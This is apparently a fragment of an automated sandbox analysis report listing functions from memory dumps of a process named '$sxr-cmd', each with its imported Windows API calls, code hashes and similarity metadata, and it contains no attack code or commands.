
Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002155A5B52D6

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction ID: 735b8791f0aa28dd1d17a8c933cf3c5d15b5ceac602a02df7245f7a8fa264978
Opcode Fuzzy Hash: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction Fuzzy Hash: 5502E632219B94D6EB64CB55E49479AB7A1F3D5B89F500055FA8F83BA8DF7CC448CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5C0900 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002155A5C0942
GetConsoleMode.KERNEL32 ref: 000002155A5C0A00
GetLastError.KERNEL32 ref: 000002155A5C0A8A

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction ID: 0d485f4d01c76aeb24b70dc29031dfb12d38fded59e27fe02b49124eb84dbb16
Opcode Fuzzy Hash: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction Fuzzy Hash: 9181C532612E24F9FF50DB608868BED67A2F7E4B9CFC44155FE0A5369ADB348449CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E4C18 Relevance: 7.7, APIs: 5, Instructions: 164COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E4C78

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

wcsrchr.MSVCRT ref: 00007FF7137E4CB9
wcsrchr.MSVCRT ref: 00007FF7137E4CE6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E4DD7
wcschr.MSVCRT ref: 00007FF7138028DB

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memsetwcsrchr$wcschr
String ID:
API String ID: 110935159-0
Opcode ID: 8db701cdac1b444ee30525db5161909d8125aab0fd237b8664a36cdcc15200a2
Instruction ID: 8b48a1b3ab948409af789505733e2c6b97c1fb7bf3b6c49bd0211ea61f4cf156
Opcode Fuzzy Hash: 8db701cdac1b444ee30525db5161909d8125aab0fd237b8664a36cdcc15200a2
Instruction Fuzzy Hash: FC51D522B09B8285FFA1AB5198447F9A390BF4DBB4F854230CE5D3B784DE3CE55D8220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F5EE4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137F5F5D

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137F6029

Part of subcall function 00007FF7137F417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F41AD

towupper.MSVCRT ref: 00007FF7137F5FFE

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: b4c5736d36697416d54369b985fffd56fc1a3dd567bd398268ab3e938c2f29e4
Instruction ID: a18faea87b83e59774576c814fe9b7cc36728a4f12434e1cd8ed86d2df284dc1
Opcode Fuzzy Hash: b4c5736d36697416d54369b985fffd56fc1a3dd567bd398268ab3e938c2f29e4
Instruction Fuzzy Hash: 4B51C527A05A8586EBA4AF20D9806B9B7A4FF4C778F858135CA2D17794EF3CD54C8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E91C0 Relevance: 7.6, APIs: 5, Instructions: 138COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E921C

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E93AA

Part of subcall function 00007FF7137E8B20: wcsrchr.MSVCRT ref: 00007FF7137E8BAB
Part of subcall function 00007FF7137E8B20: _wcsicmp.MSVCRT ref: 00007FF7137E8BD4
Part of subcall function 00007FF7137E8B20: _wcsicmp.MSVCRT ref: 00007FF7137E8BF2
Part of subcall function 00007FF7137E8B20: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E8C16
Part of subcall function 00007FF7137E8B20: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137E8C2F
Part of subcall function 00007FF7137E8B20: wcschr.MSVCRT ref: 00007FF7137E8CB3

Part of subcall function 00007FF7137F417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F41AD

Part of subcall function 00007FF7137F3060: SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF7137E92AC), ref: 00007FF7137F30CA
Part of subcall function 00007FF7137F3060: SetErrorMode.KERNELBASE ref: 00007FF7137F30DD
Part of subcall function 00007FF7137F3060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F30F6
Part of subcall function 00007FF7137F3060: SetErrorMode.KERNELBASE ref: 00007FF7137F3106

wcsrchr.MSVCRT ref: 00007FF7137E92D8
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E9362
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137E9373

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Error$Mode$AttributesFileLast_wcsicmpmemsetwcsrchr$CurrentDirectoryFullNamePathwcschr
String ID:
API String ID: 3966000956-0
Opcode ID: 9ae3b259ec636c1bd328a689641e6129c1d65987d993fbdd2999725aaa90297c
Instruction ID: dc881366e4d4f216422a7e48e33c87f1473e15f48eaf1937a56f578e77737717
Opcode Fuzzy Hash: 9ae3b259ec636c1bd328a689641e6129c1d65987d993fbdd2999725aaa90297c
Instruction Fuzzy Hash: 9D51A332A09F8285EBA1AF21D8902B9A7A4FB4DB64F844135DA0D27794DF3CE55DC320

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B5890 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002155A5B58A6

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction ID: 59ea74df5cc15291200e906e16e53076ca92644d0ee45e0b4f006ce752728548
Opcode Fuzzy Hash: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction Fuzzy Hash: 52612C32119F58DAEB649B15E458B5A77A1F3D9B49F900155FA8F83BA8CB7CC448CF00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E2A30 Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

_setjmp.MSVCRT ref: 00007FF7137E2A6A
memset.MSVCRT ref: 00007FF7137E2AB4
memset.MSVCRT ref: 00007FF7137E2AD8
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E2BED
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E2C0D

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$_setjmp
String ID:
API String ID: 3883041866-0
Opcode ID: 24b193531554a553586c69ba7b5e2834a1963165cbc680f5adf951f0dc341e04
Instruction ID: abad54eaec2b97dcd7469ce1afb6c3d4ce7beec4b89920e3a69d43c1797c7dd1
Opcode Fuzzy Hash: 24b193531554a553586c69ba7b5e2834a1963165cbc680f5adf951f0dc341e04
Instruction Fuzzy Hash: 58514232608B868EEBA1EF21D8803E9B7A4FB49754F804135DA4D5BA58DF3DD64DCB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EB49C Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF7137EB4BD

Part of subcall function 00007FF7137F06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F06D6
Part of subcall function 00007FF7137F06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F06F0
Part of subcall function 00007FF7137F06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F074D
Part of subcall function 00007FF7137F06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F0762

_wcsicmp.MSVCRT ref: 00007FF7137EB518
_wcsicmp.MSVCRT ref: 00007FF7137EB58B

Strings

ELSE, xrefs: 00007FF7137EB584
IF/?, xrefs: 00007FF7137EB4B4

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: ELSE$IF/?
API String ID: 3223794493-1134991328
Opcode ID: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
Instruction ID: 57b61cac977ab494e7cf4edadfddb776f0a3859f519955125525af31e912dc3d
Opcode Fuzzy Hash: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
Instruction Fuzzy Hash: E1416621A0DE0381FBE4BB25A4912BDAAA5AF48760FC44539D51E77395EE3DE41C8330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380E3E8 Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF71380E43A
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380E45A
_get_osfhandle.MSVCRT ref: 00007FF71380E4D9
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380E4F1

Part of subcall function 00007FF71380D9D0: longjmp.MSVCRT(?,?,00000000,00007FF71380048E), ref: 00007FF71380DA58
Part of subcall function 00007FF71380D9D0: memset.MSVCRT ref: 00007FF71380DAD6
Part of subcall function 00007FF71380D9D0: memset.MSVCRT ref: 00007FF71380DAFC
Part of subcall function 00007FF71380D9D0: memset.MSVCRT ref: 00007FF71380DB22

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$File_get_osfhandle$PointerReadlongjmp
String ID:
API String ID: 1532185241-0
Opcode ID: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
Instruction ID: e6d16f0d2fc423c6ab2b3be0d05bff1daf9e23660ac28f5dd115e9e5fc9fbb76
Opcode Fuzzy Hash: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
Instruction Fuzzy Hash: 5F41F632A04F518BE794AB21D44157EFAE1FB88B60F844535EA0A67781CF3DE959C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E4FE8 Relevance: 7.6, APIs: 5, Instructions: 102fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF7137E5012
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E5030
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF713802A84
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF713802AD8
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713802B0F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorFileLast$DeleteRead_get_osfhandle
String ID:
API String ID: 3588551418-0
Opcode ID: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
Instruction ID: 4cd08ad90fe35ef34c173f672d6334eaa7369ed0c837802fb8e16a6357c248c5
Opcode Fuzzy Hash: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
Instruction Fuzzy Hash: 50419031A08A46CBE794AB11948027DE691EF88BB1F944138E60E67791DF7DE85C8770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380E558 Relevance: 7.6, APIs: 5, Instructions: 100COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF71380E5AD
memset.MSVCRT ref: 00007FF71380E5D2

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

_wcsicmp.MSVCRT ref: 00007FF71380E6A0
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF71380E6CB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF71380E6EB

Part of subcall function 00007FF7137F3060: SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF7137E92AC), ref: 00007FF7137F30CA
Part of subcall function 00007FF7137F3060: SetErrorMode.KERNELBASE ref: 00007FF7137F30DD
Part of subcall function 00007FF7137F3060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F30F6
Part of subcall function 00007FF7137F3060: SetErrorMode.KERNELBASE ref: 00007FF7137F3106

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorModememset$FullNamePath_wcsicmp
String ID:
API String ID: 2123716050-0
Opcode ID: ee032107b5e0b45f2cd1eb5c2fd3004c7ad094b49dd3a9eb4ad0f3ee6277fee3
Instruction ID: 72fb605b4348cd2edf4069e9213a2d6f6094360c4ee18aa9f509d1b30faff3e8
Opcode Fuzzy Hash: ee032107b5e0b45f2cd1eb5c2fd3004c7ad094b49dd3a9eb4ad0f3ee6277fee3
Instruction Fuzzy Hash: 2C41A032705EC28AEBB1AF21D8803E9A794FB49798F444134DA5D4EA98DF3CE248C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E65F8 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

RoInitialize.API-MS-WIN-CORE-WINRT-L1-1-0 ref: 00007FF7137E6627
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF7137E6642

Part of subcall function 00007FF7137F5A68: _get_osfhandle.MSVCRT ref: 00007FF7137F5A89
Part of subcall function 00007FF7137F5A68: SetConsoleMode.KERNELBASE ref: 00007FF7137F5A9E
Part of subcall function 00007FF7137F5A68: _get_osfhandle.MSVCRT ref: 00007FF7137F5AAC

memset.MSVCRT ref: 00007FF7137E6697
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF7137E66B0
RoUninitialize.API-MS-WIN-CORE-WINRT-L1-1-0 ref: 00007FF7137E670C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Console$Window_get_osfhandle$InitializeModeUninitializememset
String ID:
API String ID: 3114114779-0
Opcode ID: dd13b5c20e564fbc5da2777ccedce70a1d97cd9fadfc38a69240d2783957a71e
Instruction ID: 56a710625c2a90c19be27f3e45a1872f1518bfd13c9552dd0368ba9cab3fdf57
Opcode Fuzzy Hash: dd13b5c20e564fbc5da2777ccedce70a1d97cd9fadfc38a69240d2783957a71e
Instruction Fuzzy Hash: 6D410A36A05F42CEE780EF65D4802ACB7A5FB48768F954135DA0DA3B54DF38D41AC760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380A73C Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF713809A82), ref: 00007FF71380A77A
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF713809A82), ref: 00007FF71380A7AF
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF713809A82), ref: 00007FF71380A80E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF713809A82), ref: 00007FF71380A839
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF713809A82), ref: 00007FF71380A850

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: QueryValue$CloseErrorLastOpen
String ID:
API String ID: 2240656346-0
Opcode ID: fab5d7ce924ce7ff34160a1e6dbe691a1ea5e09fa15a4ad8ec0eca9d581aded6
Instruction ID: 7afcc8553fcbc4c1fa98d48f8ff8986b3ab4b7c78ccee1aa75144d88acc41263
Opcode Fuzzy Hash: fab5d7ce924ce7ff34160a1e6dbe691a1ea5e09fa15a4ad8ec0eca9d581aded6
Instruction Fuzzy Hash: D231A232618F4286F7909F14E480479F6E4FB8D7A0F944230EA8E66754DF3DD4698B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380D0C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F01B8: _get_osfhandle.MSVCRT ref: 00007FF7137F01C4
Part of subcall function 00007FF7137F01B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF7137FE904,?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F01D6

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF71380D0F9
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF71380D10F
ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF71380D166
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF71380D17A
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF71380D18C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
String ID:
API String ID: 3008996577-0
